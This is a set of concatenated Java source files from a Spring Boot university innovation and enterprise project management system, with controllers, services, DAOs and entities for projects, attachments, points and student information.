if (excelWriter != null) {
excelWriter.finish();
}
}
}
/**
* 企业成果类型list
*/
@RequestMapping("/typeNameList")
@RequiresPermissions("enterprise:innovateenterpriseinfo:list")
public R nameList(){
Wrapper<InnovateAwardProjectTypeEntity> wrapper = new EntityWrapper<InnovateAwardProjectTypeEntity>();
List<InnovateAwardProjectTypeEntity> list = innovateAwardProjectTypeService.selectList(wrapper);
return R.ok().put("list", list);
}
}
<file_sep>package com.innovate.modules.enterprise.controller;
import java.net.URLEncoder;
import java.util.Arrays;
import java.util.List;
import java.util.Map;
import com.alibaba.excel.EasyExcel;
import com.alibaba.excel.ExcelWriter;
import com.alibaba.excel.write.metadata.WriteSheet;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.innovate.common.utils.ShiroUtils;
import com.innovate.modules.enterprise.entity.InnovateEnterpriseAttachEntity;
import com.innovate.modules.enterprise.entity.InnovateEnterpriseInfoEntity;
import com.innovate.modules.enterprise.entity.InnovateEnterpriseInfoModel;
import com.innovate.modules.enterprise.service.InnovateEnterpriseAttachService;
import com.innovate.modules.finish.service.FinishAttachService;
import com.innovate.modules.sys.entity.SysUserEntity;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import com.innovate.modules.enterprise.entity.InnovateEnterpriseProjectEntity;
import com.innovate.modules.enterprise.service.InnovateEnterpriseProjectService;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import javax.servlet.http.HttpServletResponse;
/**
* 企业项目表
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:42:31
*/
@RestController
@RequestMapping("enterprise/innovateenterpriseproject")
public class InnovateEnterpriseProjectController {
@Autowired
private InnovateEnterpriseProjectService innovateEnterpriseProjectService;
@Autowired
private InnovateEnterpriseAttachService innovateEnterpriseAttachService;
@Autowired
private FinishAttachService finishAttachService;
/**
* 列表
*/
@RequestMapping("/list")
@RequiresPermissions("enterprise:innovateenterpriseproject:list")
public R list(@RequestParam Map<String, Object> params) {
PageUtils page = innovateEnterpriseProjectService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 导出
*/
@PostMapping("/export")
@RequiresPermissions("enterprise:innovateenterpriseinfo:list")
public void export(@RequestBody List<Long> enterpProjIds,@RequestParam Map<String, Object> params, HttpServletResponse response){
List<InnovateEnterpriseProjectEntity> projectEntities;
response.setContentType("application/vnd.ms-excel");
response.setCharacterEncoding("utf-8");
/* 获取当前登录用户 */
SysUserEntity userEntity = ShiroUtils.getUserEntity();
String adminName = userEntity.getUsername();
ExcelWriter excelWriter = null;
try {
String fileName = URLEncoder.encode("企业项目信息", "UTF-8");
response.setHeader("Content-disposition","attachment;filename"+fileName+".xlsx");
/* 权限判断:当前用户为管理员(暂时不做权限限制) */
if ("wzxyGLY".equals(adminName) || true){
excelWriter = EasyExcel.write(response.getOutputStream(), InnovateEnterpriseProjectEntity.class).build();
WriteSheet writeSheet = EasyExcel.writerSheet(0, "企业项目信息").build();
projectEntities = innovateEnterpriseProjectService.queryListByIds(enterpProjIds,params);
excelWriter.write(projectEntities,writeSheet);
}
}catch (Exception e){
e.printStackTrace();
}finally {
// 千万别忘记finish 会帮忙关闭流
if (excelWriter != null) {
excelWriter.finish();
}
}
}
/**
* 信息
*/
@RequestMapping("/info/{enterpProjId}")
@RequiresPermissions("enterprise:innovateenterpriseproject:info")
public R info(@PathVariable("enterpProjId") Long enterpProjId) {
InnovateEnterpriseProjectEntity innovateEnterpriseProject = innovateEnterpriseProjectService.selectById(enterpProjId);
//获取所以附件信息
List<InnovateEnterpriseAttachEntity> list = innovateEnterpriseAttachService.selectList(
new EntityWrapper<InnovateEnterpriseAttachEntity>()
.eq("function_id",enterpProjId).eq("is_del", 0).eq("attach_type",2)
);
InnovateEnterpriseInfoModel infoModel= new InnovateEnterpriseInfoModel();
infoModel.setProjectEntity(innovateEnterpriseProject);
infoModel.setAttachEntities(list);
return R.ok().put("infoModel", infoModel);
}
/**
* 保存
*/
@RequestMapping("/save")
@RequiresPermissions("enterprise:innovateenterpriseproject:save")
public R save(@RequestBody InnovateEnterpriseInfoModel innovateEnterpriseInfoModel) {
innovateEnterpriseInfoModel.getProjectEntity().setProjectUserId(ShiroUtils.getUserId());
innovateEnterpriseProjectService.insert( innovateEnterpriseInfoModel.getProjectEntity());
//附件不为空时保存或附件集合
if (!innovateEnterpriseInfoModel.getAttachEntities().isEmpty()){
Long infoId = innovateEnterpriseInfoModel.getProjectEntity().getEnterpProjId();
for (InnovateEnterpriseAttachEntity attach:innovateEnterpriseInfoModel.getAttachEntities()){
attach.setFunctionId(infoId);
}
innovateEnterpriseAttachService.insertOrUpdateBatch(innovateEnterpriseInfoModel.getAttachEntities());
}
return R.ok();
}
/**
* 修改
*/
@RequestMapping("/update")
@RequiresPermissions("enterprise:innovateenterpriseproject:update")
public R update(@RequestBody InnovateEnterpriseInfoModel innovateEnterpriseInfoModel) {
innovateEnterpriseProjectService.updateById(innovateEnterpriseInfoModel.getProjectEntity());
if (!innovateEnterpriseInfoModel.getAttachEntities().isEmpty()) {
Long infoId = innovateEnterpriseInfoModel.getProjectEntity().getEnterpProjId();
for (InnovateEnterpriseAttachEntity attach : innovateEnterpriseInfoModel.getAttachEntities()) {
attach.setFunctionId(infoId);
}
innovateEnterpriseAttachService.insertOrUpdateBatch(innovateEnterpriseInfoModel.getAttachEntities());
}
finishAttachService.delAttachLists(innovateEnterpriseInfoModel);
return R.ok();
}
/**
* 删除
*/
@RequestMapping("/delete")
@RequiresPermissions("enterprise:innovateenterpriseproject:delete")
public R delete(@RequestBody Long[] enterpProjIds) {
// innovateEnterpriseProjectService.deleteBatchIds(Arrays.asList(enterpProjIds));
innovateEnterpriseProjectService.delList(Arrays.asList(enterpProjIds));
return R.ok();
}
}
<file_sep>package com.innovate.modules.innovate.service.impl;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.google.gson.Gson;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.innovate.dao.ProjectApplyUpdateDao;
import com.innovate.modules.innovate.entity.ProjectApplyUpdateEntity;
import com.innovate.modules.innovate.entity.ProjectInfoEntity;
import com.innovate.modules.innovate.service.ProjectApplyUpdateService;
import com.innovate.modules.innovate.service.ProjectInfoService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
/**
* @author:tz
* @create:2018-12-15
* @description:项目申请修改
**/
@Service
public class ProjectApplyUpdateServiceImpl extends ServiceImpl<ProjectApplyUpdateDao, ProjectApplyUpdateEntity> implements ProjectApplyUpdateService {
@Autowired
private ProjectApplyUpdateService projectApplyUpdateService;
@Autowired
private ProjectInfoService projectInfoService;
@Override
public PageUtils queryPage(Map<String, Object> params) {
Long projectId = Long.parseLong(params.get("projectId").toString());
Page<ProjectApplyUpdateEntity> page = this.selectPage(
new Query<ProjectApplyUpdateEntity>(params).getPage(),
new EntityWrapper<ProjectApplyUpdateEntity>()
.eq(projectId != null, "project_id", projectId)
);
return new PageUtils(page);
}
@Override
public void update(ProjectApplyUpdateEntity projectApplyUpdateEntity) {
Long projectId = projectApplyUpdateEntity.getProjectId();
Long result = projectApplyUpdateEntity.getResult();
ProjectInfoEntity projectInfoEntity = projectInfoService.selectById(projectId);
if (1 == result) {//0不通过 1通过
projectInfoEntity.setIsUpdate(1L);
projectInfoEntity.setApplyUpdate(0L);
}
if (2 == result || 0 == result) {//0不通过 1通过
projectInfoEntity.setApplyUpdate(0L);
}
if (null == result) {//0不通过 1通过
projectInfoEntity.setApplyUpdate(1L);
}
projectInfoService.updateAllColumnById(projectInfoEntity);
projectApplyUpdateService.updateAllColumnById(projectApplyUpdateEntity);
}
@Override
public void applyUpdate(Map<String, Object> params) {
System.out.println(new Gson().toJson(params));
Long projectId = Long.parseLong(params.get("projectId").toString());
String reason = params.get("reason").toString();
ProjectInfoEntity projectInfoEntity = projectInfoService.selectById(projectId);
projectInfoEntity.setApplyUpdate(1L);
projectInfoService.updateAllColumnById(projectInfoEntity);
ProjectApplyUpdateEntity projectApplyUpdateEntity = new ProjectApplyUpdateEntity();
projectApplyUpdateEntity.setProjectId(projectId);
projectApplyUpdateEntity.setReason(reason);
projectApplyUpdateService.insert(projectApplyUpdateEntity);
}
@Override
public List<ProjectApplyUpdateEntity> queryAll(Map<String, Object> params) {
return baseMapper.queryAll(params);
}
@Override
public void remove(Map<String, Object> params) {
List<ProjectApplyUpdateEntity> projectApplyUpdateEntityList = baseMapper.queryAll(params);
for (ProjectApplyUpdateEntity projectApplyUpdateEntity : projectApplyUpdateEntityList) {
baseMapper.remove(params);
}
}
}
<file_sep>package com.innovate.modules.cooperation.dao;
import com.innovate.modules.cooperation.entity.InnovateCooperationMaterialsEntity;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
/**
* 校政企合作附件
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-25 21:54:33
*/
@Mapper
public interface InnovateCooperationMaterialsDao extends BaseMapper<InnovateCooperationMaterialsEntity> {
void deleteList(List<Long> list);
}
<file_sep>package com.innovate.modules.innovate.entity;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import lombok.Data;
import java.io.Serializable;
import java.util.Date;
/**
* @author:tz
* @create:2018-11-19
* @description:项目附件
**/
@Data
@TableName("innovate_project_attach")
public class ProjectAttachEntity implements Serializable {
@TableId
private Long attachId;
private Long projectId;
private String attachName;
private String attachPath;
private String attachTime;
private Long isDel;
}
<file_sep>package com.innovate.modules.training.entity;
import com.alibaba.excel.annotation.ExcelIgnore;
import com.alibaba.excel.annotation.ExcelProperty;
import com.baomidou.mybatisplus.annotations.TableField;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import java.io.Serializable;
import java.util.Date;
import com.innovate.modules.sys.entity.SysUserEntity;
import lombok.Data;
/**
* 实训基地成果表
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:44:45
*/
@Data
@TableName("innovate_training_base_achieve")
public class InnovateTrainingBaseAchieveEntity implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 自增主键
*/
@TableId
@ExcelIgnore
private Long trainingAchieveId;
/**
* 基地名称
*/
@ExcelProperty(value = "基地名称")
private String trainingBaseName;
/**
* 材料年度
*/
@ExcelProperty(value = "材料年度")
private String materialYear;
/**
* 材料类型
*/
@ExcelProperty(value = "材料类型")
private String materialType;
/**
* 材料类型id
*/
@ExcelIgnore
private Long materialTypeId;
/**
* 实训基地id
*/
@ExcelIgnore
private Long trainingBaseId;
/**
* 所属二级学院名称
*/
@TableField(exist = false)
@ExcelProperty(value = "所属二级学院名称")
private String instituteName;
/**
* 所属二级学院
*/
@ExcelIgnore
private Long instituteId;
/**
* 是否删除
*/
@ExcelIgnore
private Integer isDel;
/**
* 用户信息
*/
@ExcelIgnore
@TableField(exist = false)
private SysUserEntity userEntity;
}
<file_sep>package com.innovate.modules.innovate.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.innovate.entity.ProjectSubMoneyEntity;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 16:25
* @Version 1.0
*/
@Mapper
public interface ProjectSubMoneyDao extends BaseMapper<ProjectSubMoneyEntity> {
List<ProjectSubMoneyEntity> queryAll(Map<String, Object> params);
void remove(Map<String, Object> params);
/**
* 统计补贴金额
*/
Double querySubMoney(Long subType,Long baseId);
/**
* 统计获得投融资团队的数量
*/
Long queryInvestNum(Long subType,Long baseId);
}
<file_sep>package com.innovate.modules.declare.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.declare.entity.DeclareReviewEntity;
import com.innovate.modules.match.entity.MatchUnScoreTeacherEntity;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @Email:<EMAIL>
* @date 2018/11/19 18:42
* @Version 1.0
*/
public interface DeclareReviewService extends IService<DeclareReviewEntity> {
//查询分数
DeclareReviewEntity queryScore(Map<String, Object> params);
//评分
@Transactional
void score(DeclareReviewEntity declareReviewEntity);
//绑定用户
@Transactional
void reviewUser(Map<String, Object> params);
List<DeclareReviewEntity> queryAll(Map<String, Object> params);
void remove(Map<String, Object> params);
/**
* 统计未评分的个数
*/
Long queryCount(Map<String, Object> params);
/**
* 计算平均分
*/
Map<String, Object> queryScoreAvg(Map<String, Object> params);
PageUtils unReview(Map<String, Object> params);
/**
* 查询未评分评委信息
*/
List<MatchUnScoreTeacherEntity> queryTeacher(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.check.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.check.entity.InnovateCheckAwardEntity;
import com.innovate.modules.declare.entity.DeclareAwardEntity;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 16:29
* @Version 1.0
*/
@Mapper
public interface InnovateCheckAwardDao extends BaseMapper<InnovateCheckAwardEntity> {
List<InnovateCheckAwardEntity> queryAll(Map<String, Object> params);
//统计获奖数量
Long queryAwardNum(Map<String, Object> params);
//统计奖金数量
Double queryAwardMoney(Map<String, Object> params);
//findById
InnovateCheckAwardEntity findByAwardId(Long awardId);
void remove(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.cooperation.service.impl;
import com.innovate.common.utils.R;
import com.innovate.modules.cooperation.entity.InnovateCooperationAttachModel;
import com.innovate.modules.cooperation.entity.InnovateCooperationMaterialsEntity;
import com.innovate.modules.cooperation.service.InnovateCooperationMaterialsService;
import com.innovate.modules.points.entity.InnovateStudentPointsEntity;
import com.innovate.modules.sys.service.SysUserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.*;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.cooperation.dao.InnovateCooperationProjectsDao;
import com.innovate.modules.cooperation.entity.InnovateCooperationProjectsEntity;
import com.innovate.modules.cooperation.service.InnovateCooperationProjectsService;
@Service("innovateCooperationProjectsService")
public class InnovateCooperationProjectsServiceImpl extends ServiceImpl<InnovateCooperationProjectsDao, InnovateCooperationProjectsEntity> implements InnovateCooperationProjectsService {
@Autowired
private SysUserService sysUserService;
@Autowired
private InnovateCooperationMaterialsService innovateCooperationMaterialsService;
@Autowired
private InnovateCooperationProjectsDao innovateCooperationProjectsDao;
@Override
public PageUtils queryPage(Map<String, Object> params) {
EntityWrapper<InnovateCooperationProjectsEntity> entityWrapper = new EntityWrapper<>();
if (params.get("projectName") != null) entityWrapper.like("project_name", params.get("projectName").toString());
if (params.get("cooperationYear") != null) entityWrapper.eq("cooperation_year", params.get("cooperationYear").toString());
if (params.get("isDel") != null) entityWrapper.eq("is_del", Integer.parseInt(params.get("isDel").toString()));
if (params.get("instituteId") != null) entityWrapper.eq("institute_id", Integer.parseInt(params.get("instituteId").toString()));
// 按时间倒序
entityWrapper.orderBy("cooperation_id", false);
Page<InnovateCooperationProjectsEntity> page = this.selectPage(
new Query<InnovateCooperationProjectsEntity>(params).getPage(),
entityWrapper
);
return new PageUtils(page);
}
@Override
public void deleteList(List<Long> list) {
baseMapper.deleteList(list);
}
@Override
public R insertModel(InnovateCooperationAttachModel attachModel) {
InnovateCooperationProjectsEntity cooperationProjectsEntity = attachModel.getCooperationProjectsEntity();
int i = baseMapper.insertE(cooperationProjectsEntity);
if (attachModel.getCooperationMaterialsList() != null) {
for (InnovateCooperationMaterialsEntity a : attachModel.getCooperationMaterialsList()) {
a.setAttachTime(new Date());
a.setFunctionId("A-"+cooperationProjectsEntity.getCooperationId());
innovateCooperationMaterialsService.insert(a);
}
}
if (i == 1)
return R.ok();
return R.error();
}
@Override
public boolean update(InnovateCooperationAttachModel attachModel) {
baseMapper.updateById(attachModel.getCooperationProjectsEntity());
if (attachModel.getDelMaterialsList() != null)
for (InnovateCooperationMaterialsEntity att : attachModel.getDelMaterialsList()) {
if (att.getMaterialsId() != null) {// 删除附件
att.setIsDel(1);
innovateCooperationMaterialsService.updateById(att);
}
}
if (attachModel.getCooperationMaterialsList() != null) // 修改或添加附件
for (InnovateCooperationMaterialsEntity a : attachModel.getCooperationMaterialsList()) {
a.setAttachTime(new Date());
a.setFunctionId("A-"+attachModel.getCooperationProjectsEntity().getCooperationId());
innovateCooperationMaterialsService.insertOrUpdate(a);
}
return false;
}
@Override
public R info(Long cooperationId) {
InnovateCooperationProjectsEntity innovateCooperationProjectsEntity = baseMapper.selectById(cooperationId);
// 获取申请用户信息
innovateCooperationProjectsEntity.setUserEntity(sysUserService.selectById(innovateCooperationProjectsEntity.getUserId()));
// 获取申请附件信息
Map<String, Object> map = new HashMap<String, Object>();
map.put("function_id", "A-" + cooperationId);
map.put("is_del", 0);
List<InnovateCooperationMaterialsEntity> materialsEntityList = innovateCooperationMaterialsService.selectByMap(map);
return R.ok().put("innovateCooperationProjectsEntity", innovateCooperationProjectsEntity)
.put("materialsEntityList", materialsEntityList);
}
@Override
public List<InnovateCooperationProjectsEntity> queryListByIds(Map<String, Object> params) {
Map<String, Object> map = new HashMap<>();
if (params.get("ids") != null && !params.get("ids").toString().equals("[]")) {
map.put("ids", params.get("ids"));
} else {
map.put("ids", null);
}
map.put("cooperationYear", params.get("cooperationYear"));
map.put("instituteId", params.get("instituteId"));
map.put("projectName", params.get("projectName"));
return baseMapper.selectCooperationYear(map);
}
}
<file_sep>package com.innovate.modules.innovate.service.impl;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.innovate.dao.InnovateReviewGroupUserDao;
import com.innovate.modules.innovate.entity.InnovateReviewGroupUserEntity;
import com.innovate.modules.innovate.service.InnovateReviewGroupUserService;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/11/6
**/
@Service
public class InnovateReviewGroupUserServiceImpl extends ServiceImpl<InnovateReviewGroupUserDao, InnovateReviewGroupUserEntity> implements InnovateReviewGroupUserService {
@Override
public List<InnovateReviewGroupUserEntity> queryAllGroupUser(Long groupId) {
return baseMapper.queryAllByGroupId(groupId);
}
@Override
public List<Long> queryUserIdList(Long groupId) {
return baseMapper.queryUserIdList(groupId);
}
}
<file_sep>package com.innovate.modules.innovate.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.innovate.entity.ProjectMonthlyReportEntity;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
import java.util.Map;
/**
* @author:tz
* @create:2019-01-08
* @description:项目月报表
**/
@Mapper
public interface ProjectMonthlyReportDao extends BaseMapper<ProjectMonthlyReportEntity> {
List<ProjectMonthlyReportEntity> queryAllReport();
/**
* 删除项目
* @param params
*/
void remove(Map<String, Object> params);
//累计投入资金数额
Double totalInvest(Map<String, Object> params);
//累计营业额
Double totalSales(Map<String, Object> params);
//累计利润情况
Double totalProfits(Map<String, Object> params);
//累计上缴税金情况
Double totalTax(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.declare.entity;
import com.baomidou.mybatisplus.annotations.TableField;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import com.fasterxml.jackson.databind.annotation.JsonSerialize;
import com.fasterxml.jackson.databind.ser.std.ToStringSerializer;
import lombok.Data;
import java.io.Serializable;
/**
* @author:tz
* @create:2018-11-19
* @description:大创申报项目附件
**/
@Data
@TableName("innovate_declare_attach")
public class DeclareAttachEntity implements Serializable {
@TableId
private Long attachId;
private Long declareId;
private String attachName;
private String attachPath;
private Long isDel;
@TableField(exist = false)
private String declareName;
@TableField(exist = false)
private String instituteName;
@TableField(exist = false)
private Integer declareGroupType;
}
<file_sep>package com.innovate.modules.finish.service.impl;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.modules.finish.entity.FinishInfoEntity;
import com.innovate.modules.finish.entity.FinishRetreatEntity;
import com.innovate.modules.finish.dao.FinishRetreatDao;
import com.innovate.modules.finish.service.FinishInfoService;
import com.innovate.modules.finish.service.FinishRetreatService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
/**
* @author:tz
* @create:2018-12-15
* @description:项目流程回退
**/
@Service
public class FinishRetreatServiceImpl extends ServiceImpl<FinishRetreatDao, FinishRetreatEntity> implements FinishRetreatService {
@Autowired
private FinishRetreatService finishRetreatService;
@Autowired
private FinishInfoService innovateFinishInfoService;
@Override
public void updateRetreat(Map<String, Object> params) {
Long finishId = Long.parseLong(params.get("finishId").toString());
String apply = params.get("apply").toString();
Long userId = Long.parseLong(params.get("userId").toString());
String option = params.get("option").toString();
//项目中的流程值
Long applyStatus = Long.parseLong(params.get("applyStatus").toString());
FinishRetreatEntity finishRetreatEntity = new FinishRetreatEntity();
finishRetreatEntity.setFinishId(finishId);
finishRetreatEntity.setApply(apply);
finishRetreatEntity.setRetreatOption(option);
finishRetreatEntity.setUserId(userId);
finishRetreatEntity.setApplyStatus(applyStatus);
finishRetreatService.insert(finishRetreatEntity);
FinishInfoEntity finishInfo = innovateFinishInfoService.selectById(finishId);
switch (apply) {
case "project_finish_apply_status":
finishInfo.setFinishNoPass(1L);
break;
}
innovateFinishInfoService.updateAllColumnById(finishInfo);
}
@Override
public List<FinishRetreatEntity> queryAll(Map<String, Object> params) {
return baseMapper.queryAll(params);
}
@Override
public void remove(Map<String, Object> params) {
baseMapper.remove(params);
}
}
<file_sep>package com.innovate.modules.points.controller;
import java.util.Arrays;
import java.util.List;
import java.util.Map;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import com.innovate.modules.points.entity.InnovateSysPointsEntity;
import com.innovate.modules.points.service.InnovateSysPointsService;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
/**
* 积分标准
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:45:59
*/
@RestController
@RequestMapping("points/innovatesyspoints")
public class InnovateSysPointsController {
@Autowired
private InnovateSysPointsService innovateSysPointsService;
/**
* 列表
*/
@RequestMapping("/list")
@RequiresPermissions("points:innovatesyspoints:list")
public R list(@RequestParam Map<String, Object> params){
PageUtils page = innovateSysPointsService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 列表
*/
@RequestMapping("/newList")
@RequiresPermissions("points:innovatesyspoints:list")
public R newList(@RequestParam Map<String, Object> params){
List innovateSysPoints = (List) innovateSysPointsService.selectPoints(params);
return R.ok().put("innovateSysPoints", innovateSysPoints);
}
/**
* 信息
*/
@RequestMapping("/info/{integralId}")
@RequiresPermissions("points:innovatesyspoints:info")
public R info(@PathVariable("integralId") Long integralId){
InnovateSysPointsEntity innovateSysPoints = innovateSysPointsService.selectById(integralId);
return R.ok().put("innovateSysPoints", innovateSysPoints);
}
/**
* 保存
*/
@RequestMapping("/save")
@RequiresPermissions("points:innovatesyspoints:save")
public R save(@RequestBody InnovateSysPointsEntity innovateSysPoints){
innovateSysPointsService.insert(innovateSysPoints);
return R.ok();
}
/**
* 修改
*/
@RequestMapping("/update")
@RequiresPermissions("points:innovatesyspoints:update")
public R update(@RequestBody InnovateSysPointsEntity innovateSysPoints){
innovateSysPointsService.updateAllColumnById(innovateSysPoints);
return R.ok();
}
/**
* 删除
*/
@RequestMapping("/delete")
@RequiresPermissions("points:innovatesyspoints:delete")
public R delete(@RequestBody Long[] integralIds){
innovateSysPointsService.deleteList(Arrays.asList(integralIds));
return R.ok();
}
}
<file_sep>package com.innovate.modules.finish.service.impl;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.modules.enterprise.entity.InnovateEnterpriseAttachEntity;
import com.innovate.modules.enterprise.entity.InnovateEnterpriseInfoModel;
import com.innovate.modules.enterprise.service.InnovateEnterpriseAttachService;
import com.innovate.modules.finish.entity.FinishAttachEntity;
import com.innovate.modules.finish.dao.FinishAttachDao;
import com.innovate.modules.finish.entity.FinishInfoModel;
import com.innovate.modules.finish.service.FinishAttachService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @Email:<EMAIL>
* @date 2018/11/19 18:47
* @Version 1.0
*/
@Service
public class FinishAttachServiceImpl extends ServiceImpl<FinishAttachDao, FinishAttachEntity> implements FinishAttachService {
@Autowired
private InnovateEnterpriseAttachService innovateEnterpriseAttachService;
@Autowired
private FinishAttachService finishAttachService;
@Override
public List<FinishAttachEntity> queryAll(Map<String, Object> params) {
return baseMapper.queryAll(params);
}
@Override
public void remove(Map<String, Object> params) {
baseMapper.remove(params);
}
@Override
public void delAttachLists(InnovateEnterpriseInfoModel innovateEnterpriseInfoModel) {
if (innovateEnterpriseInfoModel.getDelAttachLists() != null) {
for (InnovateEnterpriseAttachEntity a: innovateEnterpriseInfoModel.getDelAttachLists()) {
if (a.getAttachId() != null) {
a.setIsDel(1);
innovateEnterpriseAttachService.updateById(a);
}
}
}
}
@Transactional
@Override
public void delAttachLists(FinishInfoModel finishInfoModel) {
if (finishInfoModel.getDelAttachLists() != null) {
for (FinishAttachEntity a: finishInfoModel.getDelAttachLists()) {
if (a.getAttachId() != null) {
a.setIsDel((long) 1);
finishAttachService.updateById(a);
}
}
}
}
@Override
public List<FinishAttachEntity> queryAllAttach(Map<String, Object> params) {
return baseMapper.queryAllAttach(params);
}
@Override
public List<FinishAttachEntity> queryDcConclusion(Map<String, Object> params) {
return baseMapper.queryDcConclusion(params);
}
}
<file_sep>package com.innovate.modules.points.entity;
import lombok.Data;
import java.io.Serializable;
import java.util.List;
/**
* @Author 冯天华
* @Date 2020/11/26 9:46
* @Version 1.0
*/
@Data
public class PointsApplyModel implements Serializable {
private InnovateStudentPointsApplyEntity pointsApplyEntity;
private List<InnovateStudentPointsAttachEntity> pointsAttachEntityList;
private List<InnovateStudentPointsAttachEntity> delAttachLists;
}
<file_sep>package com.innovate.modules.innovate.controller;
import com.google.gson.Gson;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import com.innovate.modules.innovate.entity.InnovateGradeEntity;
import com.innovate.modules.innovate.entity.InnovateInstituteEntity;
import com.innovate.modules.innovate.entity.UserPersonInfoEntity;
import com.innovate.modules.innovate.service.InnovateGradeService;
import com.innovate.modules.innovate.service.InnovateInstituteService;
import com.innovate.modules.innovate.service.UserPerInfoService;
import com.innovate.modules.sys.controller.AbstractController;
import com.innovate.modules.sys.entity.SysUserEntity;
import com.innovate.modules.sys.service.SysUserService;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.List;
import java.util.Map;
/**
* @author:tz
* @create:2018-12-09
* @description:责任人
**/
@RestController
@RequestMapping("innovate/use/person")
public class UserPersonInfoController extends AbstractController {
@Autowired
private UserPerInfoService userPerInfoService;
@Autowired
private InnovateInstituteService innovateInstituteService;
@Autowired
private InnovateGradeService innovateGradeService;
@Autowired
private SysUserService sysUserService;
/**
* 获取信息
*/
@GetMapping("/info/{userId}")
public R info(@PathVariable("userId") Long userId){
UserPersonInfoEntity userPerson = userPerInfoService.queryByUserId(userId);
List<InnovateInstituteEntity> institute = innovateInstituteService.queryAllInstitute();
List<InnovateGradeEntity> grade = innovateGradeService.queryAllGrade();
return R.ok()
.put("userPerson",userPerson)
.put("institute", institute)
.put("grade", grade);
}
/**
* 学生详细信息
* @return
*/
@RequestMapping("/perInfo/{id}")
public R perInfo(@PathVariable("id") Long id){
UserPersonInfoEntity entity = userPerInfoService.selectById(id);
SysUserEntity sysUserEntity = sysUserService.selectById(entity.getUserId());
entity.setSysUserEntity(sysUserEntity);
return R.ok().put("data", entity);
}
/**
* 修改
*/
@PostMapping("/update")
public R update(@RequestBody(required = false) UserPersonInfoEntity userPersonInfoEntity){
System.out.println("这是" + new Gson().toJson(userPersonInfoEntity));;
userPerInfoService.saveOrUpdate(userPersonInfoEntity);
return R.ok();
}
}
<file_sep>package com.innovate.modules.innovate.entity;
import com.baomidou.mybatisplus.annotations.TableField;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import com.innovate.modules.sys.entity.SysUserEntity;
import lombok.Data;
import java.io.Serializable;
/**
* @author:tz
* @create:2018-11-08
* @description:责任人
**/
@Data
@TableName("innovate_user_person_info")
public class UserPersonInfoEntity implements Serializable {
@TableId
private Long userPerId;
private Long userId;
private Long gradeId;
private String perCardNo;
private Long perSex;
private String perPost;
private String perPoliticsType;
//学号
private String perStuNo;
private String perClassNo;
private String perCormNo;
private String perNative;
private String perQq;
private String perSchoolPost;
private String perSchoolHonor;
